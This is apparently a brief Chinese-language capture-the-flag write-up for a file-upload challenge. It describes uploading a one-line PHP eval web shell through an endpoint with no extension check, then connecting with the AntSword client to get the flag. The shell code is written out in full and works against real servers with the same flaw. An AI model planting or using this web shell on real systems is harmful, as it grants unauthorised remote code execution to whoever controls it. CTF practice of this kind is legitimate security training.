文件上传第一题没有后缀限制那就直接用php形式上传 先建一个空的.php文件 打开输入<?php @eval($_POST['shell']);?> [' ']中的空格为密码可以随意设置自己喜欢的 之后打开蚁剑 然后测试连接获得flag